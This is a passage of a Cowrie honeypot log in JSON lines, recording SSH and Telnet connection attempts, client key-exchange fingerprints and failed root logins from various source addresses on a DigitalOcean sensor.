{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:2c:f2:84:72:26:89:2b:6a:cb:a4:f6:a5:d5:bc:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsa7kbfGlNJ/m/gB/510hTjn3XTSgEYGUhwrbMvpdAupkD/2TSahLe3lXFbnb+jXNSD/dff6jmA4uVCdygBGQWr64Vyiia6/7eg/n2FQ02tpRl+xf85i4XKZK8+ec1Wm4Z6yeJPG44GJmxNds4C5jHsKOlCN2MqDPGaeLscz2l5Yk9aXOIIVvBuMwj4eAwsLXTRigiXiYDRp/g4hfs2MPG7nUmcgNNMr0rU7cImadeFXrpZUX5BKleH7QyiahcnFR3BzNnCSLIL2uZ+LCDUGu+M9jqq3wZOsdJXtNYBciHrOLfF7ntBdID66zG4TO01ckfwenkRHGiTtkCGCMu8/nLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.834200Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:51:b6:be:1d:7b:61:60:e9:48:92:aa:cd:b6:93:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2r6wvQ7rEr4dLOtTh7C4U0u6LISSACAtcW/J1KlXPik/CT2LtWqx/X9tETgRTVszthUhh7ES09kc2ybvhXhYMeXeVyE02k4eK8B1duHR5jtulZK5gaWFqNcmbvqrjF3U6wNqalntuobweDlqAZG/clJh3nvVWmoV2b6YhSytECbjSvF/7njMAz87Qe0C3h2n1ycACrt31NpCgWfB1L2VnaKFgfr3XYj3DvOq7JQzHVvd/c6+4noDZv+DbXDEhiEOOQwSAThJafkKl7YuaQQC70UB4p9tOigE1nW5bciJ0kP3lIX8hmztn+lbLGTwkBWuigUxfhO3ADof3xPg4vTN/9/MOa16CMpymHW45q5FvGp1633iO9l+QhFOsq6kML6zh8Ej5cuUo8pZaXthBfRU4ZN7vFakbo7QURa71KliZeA/bAz5IPCUtoH5zDbqCd/NHKXaYqZuXh/PQoGgHy7G8V/+BjVlQi6qF0cxJk6Lx8IX9z2G801/xP/mO4+aJiOboAHFhyXj5KijufbYGheHufsjebljlcer0xn+W2cwta9gaG80RcCcfGZZpBQW3OajFIGgAXDEDFpec9Z+yZZJPhJQ4boQBwOLfbCa1M83yzyz0Go0trCBNJyUR/QzZBZi8z1trgQ+9Jy1AV2fwdNOXCOiL3Ge4mALOtU0b3c7yrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:51:b6:be:1d:7b:61:60:e9:48:92:aa:cd:b6:93:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.942540Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:51:b6:be:1d:7b:61:60:e9:48:92:aa:cd:b6:93:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2r6wvQ7rEr4dLOtTh7C4U0u6LISSACAtcW/J1KlXPik/CT2LtWqx/X9tETgRTVszthUhh7ES09kc2ybvhXhYMeXeVyE02k4eK8B1duHR5jtulZK5gaWFqNcmbvqrjF3U6wNqalntuobweDlqAZG/clJh3nvVWmoV2b6YhSytECbjSvF/7njMAz87Qe0C3h2n1ycACrt31NpCgWfB1L2VnaKFgfr3XYj3DvOq7JQzHVvd/c6+4noDZv+DbXDEhiEOOQwSAThJafkKl7YuaQQC70UB4p9tOigE1nW5bciJ0kP3lIX8hmztn+lbLGTwkBWuigUxfhO3ADof3xPg4vTN/9/MOa16CMpymHW45q5FvGp1633iO9l+QhFOsq6kML6zh8Ej5cuUo8pZaXthBfRU4ZN7vFakbo7QURa71KliZeA/bAz5IPCUtoH5zDbqCd/NHKXaYqZuXh/PQoGgHy7G8V/+BjVlQi6qF0cxJk6Lx8IX9z2G801/xP/mO4+aJiOboAHFhyXj5KijufbYGheHufsjebljlcer0xn+W2cwta9gaG80RcCcfGZZpBQW3OajFIGgAXDEDFpec9Z+yZZJPhJQ4boQBwOLfbCa1M83yzyz0Go0trCBNJyUR/QzZBZi8z1trgQ+9Jy1AV2fwdNOXCOiL3Ge4mALOtU0b3c7yrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.946548Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:8d:05:b2:8e:98:ca:24:a7:a6:1d:61:7d:0a:44:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaJTWq90DKp6MMAhK0dXzDu7GetIhlLPyB9tdZ8EK0ToxV+F5HJYJmhyKo93ZSaautqRxhY1MTzoPqo2kUC9qlQ8YPQIWrvhnBHzP7rn5G4xnYI0dG0HbC6218hoY6JesvuBWhUvnruM7OWPk0AWqWN1Z0uSxDkYFNfavzxSKbWmLqPuF802aCVVlha0hYnV1e9hHUovIg36Z8spVD6YreQh9RVEbBfsvx90SygzDwCOvjVbnJzNA1z23vHi5nRDoxI/C0EWZ6weXaJQ3s7AF7gmB8m0TZEI9guUl00pXuiRpmAy0frHdj6sxDlpxLTrDWf5kfTPDsL3kRlpftxEvumLV8OwSXTJZ0bPzn/5W87JBcauL7L4cX2ptWNkS9YXvsyIFIyfkmgLb9hrfihAV6JQ5nGd4N3ad8M7Uq/KCwCOPWO567eTYXl85sX8PA4g51+CtDqow/i/DORTgndI8tL+4MBcDiBdrPyIZiXhAmJEYGgYT9RhU+H/sGAJAagrj2kbN6SAb6vNZRPMHooU+jHTShhNfZwQZ4C3ynOn/qt55PnCPQFa0ogw74Dw0t0OL8Koh+o2Nyyhvsa863WggawcB9oqxsIMX8bPvGvtf6Nln42Vw23SBuvzRqm40NNTXpyqujb+H7oHWjbomVwhgcnATfQ24j+VNetS7WwjRiqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:8d:05:b2:8e:98:ca:24:a7:a6:1d:61:7d:0a:44:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.055355Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:8d:05:b2:8e:98:ca:24:a7:a6:1d:61:7d:0a:44:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaJTWq90DKp6MMAhK0dXzDu7GetIhlLPyB9tdZ8EK0ToxV+F5HJYJmhyKo93ZSaautqRxhY1MTzoPqo2kUC9qlQ8YPQIWrvhnBHzP7rn5G4xnYI0dG0HbC6218hoY6JesvuBWhUvnruM7OWPk0AWqWN1Z0uSxDkYFNfavzxSKbWmLqPuF802aCVVlha0hYnV1e9hHUovIg36Z8spVD6YreQh9RVEbBfsvx90SygzDwCOvjVbnJzNA1z23vHi5nRDoxI/C0EWZ6weXaJQ3s7AF7gmB8m0TZEI9guUl00pXuiRpmAy0frHdj6sxDlpxLTrDWf5kfTPDsL3kRlpftxEvumLV8OwSXTJZ0bPzn/5W87JBcauL7L4cX2ptWNkS9YXvsyIFIyfkmgLb9hrfihAV6JQ5nGd4N3ad8M7Uq/KCwCOPWO567eTYXl85sX8PA4g51+CtDqow/i/DORTgndI8tL+4MBcDiBdrPyIZiXhAmJEYGgYT9RhU+H/sGAJAagrj2kbN6SAb6vNZRPMHooU+jHTShhNfZwQZ4C3ynOn/qt55PnCPQFa0ogw74Dw0t0OL8Koh+o2Nyyhvsa863WggawcB9oqxsIMX8bPvGvtf6Nln42Vw23SBuvzRqm40NNTXpyqujb+H7oHWjbomVwhgcnATfQ24j+VNetS7WwjRiqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.059330Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:9a:0e:87:57:31:5b:1e:9f:93:b9:9e:dd:3a:ab:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgqdUB2KEdo+6qxOb5kSZycIqjKEJQFznJ3nYU6FEBx2402DBQrd/aw7BDZWmjDr2Ii0+L/Sgi5ORZ5zgxdNVZ1AKhwwKPIAWIWqppOcbUDGmV8ZP3sCzMqfakoQBdUhNs+5xvuXrYQHb5HzV/7mtS6OegYdpAsBGU/9qOtYW6nLPMpFXI2cDgGPUVUXPd0FweHi/DQ8lJgkN0Ry/2lo5TfW0Oh55SMB5PSZnA2ohA9FtG6bBaRNBZs3gk7FytEmJvSUdMuS/nL83I7yfx2A0SNHabjPuZdRVduiOAmDpcI2WsflD7D5Ht5/swZ153YXN022DbZ7x3xpY4m2xSDJC+7bVGMk4276V8bs54bf6e82fVZUs3TPwqOKCxUoqAlj+wQhY7cdcOGX/iKXtPJ5aOCpnW7u6PIfpogIaBK7a5ylNT8+EG/NC9MltWvPSlSSGIRZhuZoU1FhDthIuuVFd5IvRwjyrGL69Ea5d/e9NwnP7PghL5AZvPvVSe/Yr/M7nLedQVExZx43msmyOs6dSLyLhFJU5t6mC125fI/ZZkTxdhs8yqh8KrWzlLDKJV4fZF49wpMndmvMmaDCgH56EjP8CiFQDUnsu6hsaePyLYdbIC1lVjUQJXo4G81j7UZDQL6ALN0iVWStTN8xvx4dGlfZQ7ySKHeSXOaEws6T4cJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:9a:0e:87:57:31:5b:1e:9f:93:b9:9e:dd:3a:ab:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.168007Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:9a:0e:87:57:31:5b:1e:9f:93:b9:9e:dd:3a:ab:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgqdUB2KEdo+6qxOb5kSZycIqjKEJQFznJ3nYU6FEBx2402DBQrd/aw7BDZWmjDr2Ii0+L/Sgi5ORZ5zgxdNVZ1AKhwwKPIAWIWqppOcbUDGmV8ZP3sCzMqfakoQBdUhNs+5xvuXrYQHb5HzV/7mtS6OegYdpAsBGU/9qOtYW6nLPMpFXI2cDgGPUVUXPd0FweHi/DQ8lJgkN0Ry/2lo5TfW0Oh55SMB5PSZnA2ohA9FtG6bBaRNBZs3gk7FytEmJvSUdMuS/nL83I7yfx2A0SNHabjPuZdRVduiOAmDpcI2WsflD7D5Ht5/swZ153YXN022DbZ7x3xpY4m2xSDJC+7bVGMk4276V8bs54bf6e82fVZUs3TPwqOKCxUoqAlj+wQhY7cdcOGX/iKXtPJ5aOCpnW7u6PIfpogIaBK7a5ylNT8+EG/NC9MltWvPSlSSGIRZhuZoU1FhDthIuuVFd5IvRwjyrGL69Ea5d/e9NwnP7PghL5AZvPvVSe/Yr/M7nLedQVExZx43msmyOs6dSLyLhFJU5t6mC125fI/ZZkTxdhs8yqh8KrWzlLDKJV4fZF49wpMndmvMmaDCgH56EjP8CiFQDUnsu6hsaePyLYdbIC1lVjUQJXo4G81j7UZDQL6ALN0iVWStTN8xvx4dGlfZQ7ySKHeSXOaEws6T4cJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.172534Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:42:fe:08:8f:11:ea:1e:d2:a4:5f:21:b7:67:55:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/XQcLgTBbRjvuKdVbVmWJxw5nTWfNIUts/O5WgH7A4h2EffO5CSyhRf6VeklI9trBVK0GWWRVOvMky8FJJGKO8oVG7obA+ZZt6trogkwyozBj+itqFpJFGF8DEpRxo5wqJhWVMoDEk7plZcqfe8PrpSHyQVyBCxPYlC0f+IxbIjTrGs/VnObYzOpwdbwaRqedZTn41wOrdC6vRnhiof/kndn0lrZdKvXXb9rRK7LN4cfyMk0Bkr3D/MU3mv92biQF7i6xV5mImISJD5uMlS/+Ov7ySdMxSIandHTmtq/r8WHAbxVsHpjDjaVJyi8C+aJZRE5ZFYd9gjwKIpcAOvxgMts0k7xKOp71BKRE5MejQr2MYRAhyxC3hZvNcV5AYKbc5xpiB7O5KRxR1ETu1NMKCNZ9XGoOq+bpjTs9v6OGVghfW8zNskAgxzYkTtg5UCYoc6azmrWHjzOqBI1xzdiK5T4RkfvhVPQ3DOJuaQpiK34f1Y6Q8y26pt5zwUF4PN052piuwhnV6jkg4xRIO/NKM22Yquxt1eg//+exsSvRdCi4Je30BE8jUm4USnQZVv6IKBvhMGmzRiIB4Wl227DVi2rL2IEd82ApQ9vl4wPq7mi2NKexzBzPjq/iZF9223nRcGxIgV94W1ZogjXSuUxKBDpVpuj2IbByc/WDnlUuAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:42:fe:08:8f:11:ea:1e:d2:a4:5f:21:b7:67:55:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.282987Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:42:fe:08:8f:11:ea:1e:d2:a4:5f:21:b7:67:55:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/XQcLgTBbRjvuKdVbVmWJxw5nTWfNIUts/O5WgH7A4h2EffO5CSyhRf6VeklI9trBVK0GWWRVOvMky8FJJGKO8oVG7obA+ZZt6trogkwyozBj+itqFpJFGF8DEpRxo5wqJhWVMoDEk7plZcqfe8PrpSHyQVyBCxPYlC0f+IxbIjTrGs/VnObYzOpwdbwaRqedZTn41wOrdC6vRnhiof/kndn0lrZdKvXXb9rRK7LN4cfyMk0Bkr3D/MU3mv92biQF7i6xV5mImISJD5uMlS/+Ov7ySdMxSIandHTmtq/r8WHAbxVsHpjDjaVJyi8C+aJZRE5ZFYd9gjwKIpcAOvxgMts0k7xKOp71BKRE5MejQr2MYRAhyxC3hZvNcV5AYKbc5xpiB7O5KRxR1ETu1NMKCNZ9XGoOq+bpjTs9v6OGVghfW8zNskAgxzYkTtg5UCYoc6azmrWHjzOqBI1xzdiK5T4RkfvhVPQ3DOJuaQpiK34f1Y6Q8y26pt5zwUF4PN052piuwhnV6jkg4xRIO/NKM22Yquxt1eg//+exsSvRdCi4Je30BE8jUm4USnQZVv6IKBvhMGmzRiIB4Wl227DVi2rL2IEd82ApQ9vl4wPq7mi2NKexzBzPjq/iZF9223nRcGxIgV94W1ZogjXSuUxKBDpVpuj2IbByc/WDnlUuAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.286903Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:42.400881Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.48.18.87","src_port":46608,"dst_ip":"159.203.135.109","dst_port":23,"session":"a62c88d84d73","protocol":"telnet","message":"New connection: 186.48.18.87:46608 (159.203.135.109:23) [session: a62c88d84d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:48.439669Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.48.18.87","src_port":47022,"dst_ip":"159.203.135.109","dst_port":23,"session":"41412aa734c8","protocol":"telnet","message":"New connection: 186.48.18.87:47022 (159.203.135.109:23) [session: 41412aa734c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:53.071019Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.48.18.87","src_port":47428,"dst_ip":"159.203.135.109","dst_port":23,"session":"f705e639854e","protocol":"telnet","message":"New connection: 186.48.18.87:47428 (159.203.135.109:23) [session: f705e639854e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:57.568087Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":41986,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e39fdf6403","protocol":"ssh","message":"New connection: 103.118.29.129:41986 (10.17.0.5:22) [session: 53e39fdf6403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:00.789547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:00.795211Z","src_ip":"103.118.29.129","session":"53e39fdf6403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:01.028053Z","src_ip":"103.118.29.129","session":"53e39fdf6403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa111111","message":"login attempt [root/aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:01.997036Z","src_ip":"103.118.29.129","session":"53e39fdf6403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:03.233275Z","src_ip":"103.118.29.129","session":"53e39fdf6403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":14460,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec7f24c44d45","protocol":"ssh","message":"New connection: 136.232.11.10:14460 (10.17.0.5:22) [session: ec7f24c44d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:06.613966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:06.618717Z","src_ip":"136.232.11.10","session":"ec7f24c44d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:06.864509Z","src_ip":"136.232.11.10","session":"ec7f24c44d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mom123","message":"login attempt [root/mom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:07.865445Z","src_ip":"136.232.11.10","session":"ec7f24c44d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:09.113389Z","src_ip":"136.232.11.10","session":"ec7f24c44d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":33494,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab77d92ed68","protocol":"ssh","message":"New connection: 43.242.203.160:33494 (159.203.135.109:22) [session: 9ab77d92ed68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:11.197810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:12.451216Z","src_ip":"43.242.203.160","session":"9ab77d92ed68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:12.456498Z","src_ip":"43.242.203.160","session":"9ab77d92ed68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":59042,"dst_ip":"10.17.0.5","dst_port":22,"session":"680505d8332c","protocol":"ssh","message":"New connection: 69.48.205.231:59042 (10.17.0.5:22) [session: 680505d8332c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:13.316569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:13.321065Z","src_ip":"69.48.205.231","session":"680505d8332c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 